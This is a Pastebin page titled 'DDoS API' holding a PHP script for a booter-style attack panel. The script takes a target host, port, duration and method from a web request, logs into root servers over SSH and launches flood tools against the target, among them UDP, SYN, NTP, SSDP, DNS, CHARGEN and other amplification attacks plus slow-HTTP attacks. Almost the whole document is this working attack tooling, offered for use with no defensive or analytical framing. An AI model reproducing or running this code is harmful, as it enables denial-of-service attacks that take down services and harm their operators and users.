Advertisement
KhaosBringer

DDoS API

Apr 23rd, 2015
9,430
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.50 KB | None | 0 0
  1. <?php
  2. if (!function_exists('ssh2_connect'))
  3. {
  4.         die("Install ssh2 module.\n");
  5. }
  6. if ($_GET['key'] != "api-key-goes-here"){
  7. die("Go Fuck Yourself.");
  8. }
  9. if (isset($_GET['host'], $_GET['port'], $_GET['time'], $_GET['method'])) {
  10.         $SERVERS = array(
  11.                 "server-ip-goes-here"       =>      array("root", "root-password-goes-here")
  12.                 );
  13.         class ssh2 {
  14.                 var $connection;
  15.                 function __construct($host, $user, $pass) {
  16.                         if (!$this->connection = ssh2_connect($host, 22))
  17.                                 throw new Exception("Error connecting to server");
  18.                         if (!ssh2_auth_password($this->connection, $user, $pass))
  19.                                 throw new Exception("Error with login credentials");
  20.                 }
  21.  
  22.                 function exec($cmd) {
  23.                         if (!ssh2_exec($this->connection, $cmd))
  24.                                 throw new Exception("Error executing command: $cmd");
  25.  
  26.                         ssh2_exec($this->connection, 'exit');
  27.                         unset($this->connection);
  28.                 }
  29.         }
  30.         $port = (int)$_GET['port'] > 0 && (int)$_GET['port'] < 65536 ? $_GET['port'] : 80;
  31.         $port = preg_replace('/\D/', '', $port);
  32.         $ip = preg_match('/^[a-zA-Z0-9\.-_]+$/', $_GET['host']) ? $_GET['host'] : die();
  33.         $time = (int)$_GET['time'] > 0 && (int)$_GET['time'] < (60*60) ? (int)$_GET['time'] : 30;
  34.         $time = preg_replace('/\D/', '', $time);
  35.         $domain = $_GET['host'];
  36.         if(!filter_var($domain, FILTER_VALIDATE_URL) && !filter_var($domain, FILTER_VALIDATE_IP))
  37.         {
  38.             die("Invalid Domain");
  39.         }
  40.         $smIP = str_replace(".", "", $ip);
  41.         $smDomain = str_replace(".", "", $domain);
  42.         $smDomain = str_replace("http://", "", $smDomain);
  43.     if($_GET['method'] == "UDP") { $command = "screen -dmS {$smIP} ./udp {$ip} {$port} 1 500 3 {$time}"; }
  44.         elseif($_GET['method'] == "DOMINATE") { $command = "screen -dmS {$smIP} ./dominate {$ip} {$port} 3 -1 {$time}"; }
  45.         elseif($_GET['method'] == "SSYN") { $command = "screen -dmS {$smIP} ./ssyn {$ip} {$port} 3 {$time}"; }
  46.         elseif($_GET['method'] == "XSYN") { $command = "screen -dmS {$smIP} ./xsyn {$ip} {$port} 3 {$time}"; }
  47.         elseif($_GET['method'] == "SSDP") { $command = "screen -dmS {$smIP} ./ssdp {$ip} {$port} ssdp_amp.txt 3 {$time}"; }
  48.         elseif($_GET['method'] == "CHARGEN") { $command = "screen -dmS {$smIP} ./chargen {$ip} {$port} chargen_amp.txt 8 -1 {$time}"; }
  49.         elseif($_GET['method'] == "TS3") { $command = "screen -dmS {$smIP} ./ts3 {$ip} {$port} ts3_amp.txt 3 {$time}"; }
  50.         elseif($_GET['method'] == "NTP") { $command = "screen -dmS {$smIP} ./ntp {$ip} {$port} ntp_amp.txt 3 {$time}"; }
  51.         elseif($_GET['method'] == "MSSQL") { $command = "screen -dmS {$smIP} ./MSSQL {$ip} {$port} mssql_amp.txt 8 {$time}"; }
  52.         elseif($_GET['method'] == "QOTD") { $command = "screen -dmS {$smIP} ./qotd {$ip} {$port} qotd_amp.txt -1 8 {$time}"; }
  53.         elseif($_GET['method'] == "MDNS") { $command = "screen -dmS {$smIP} ./mdns {$ip} {$port} mdns_amp.txt 3 {$time}"; }
  54.         elseif($_GET['method'] == "NETBIOS") { $command = "screen -dmS {$smIP} ./netbios {$ip} {$port} netbios_amp.txt 3 {$time}"; }
  55.         elseif($_GET['method'] == "HEARTBLEED") { $command = "screen -dmS {$smIP} ./heartbleed {$ip} {$port} hb_amp.txt 8 -1 {$time}"; }
  56.         elseif($_GET['method'] == "VSE") { $command = "screen -dmS {$smIP} ./vse {$ip} 3 -1 {$time}"; }
  57.         elseif($_GET['method'] == "RUDY") { $command = "screen -dmS {$smIP} ./rudy {$ip} 1 8 {$time} proxies.txt 0"; }
  58.         elseif($_GET['method'] == "SYN") { $command = "screen -dmS {$smIP} ./syn {$ip} {$port} {$time}"; }
  59.         elseif($_GET['method'] == "DNS") { $command = "screen -dmS {$smIP} ./DNS {$ip} {$port} dns_amp.txt {$time}"; }
  60.         elseif($_GET['method'] == "QUAKE") { $command = "screen -dmS {$smIP} ./quake {$ip} {$port} quake_amp.txt 8 {$time}"; }
  61.         elseif($_GET['method'] == "SLOW") { $command = "screen -dmS {$smIP} ./slow {$ip} 8 proxies.txt {$time} 0"; }
  62.         elseif($_GET['method'] == "ESSYN") { $command = "screen -dmS {$smIP} ./essyn {$ip} {$ip} {$port} 8 -1 {$time}"; }
  63.         elseif($_GET['method'] == "STOP") { $command = "screen -X -s {$smIP} quit"; }
  64.         else die();
  65.         foreach ($SERVERS as $server=>$credentials) {
  66.                 $disposable = new ssh2($server, $credentials[0], $credentials[1]);
  67.                 $disposable->exec($command);
  68. }
  69. }
  70. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement